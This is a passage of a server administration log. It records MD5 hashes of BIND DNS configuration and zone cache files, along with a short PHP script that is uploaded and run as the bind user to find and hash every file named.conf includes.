MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 19:02:49: Establishing a connection
2026-05-15 19:02:49: 

PUT: /tmp/pkp625800

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 19:02:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp625800; rm /tmp/pkp625800'

2026-05-15 19:02:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
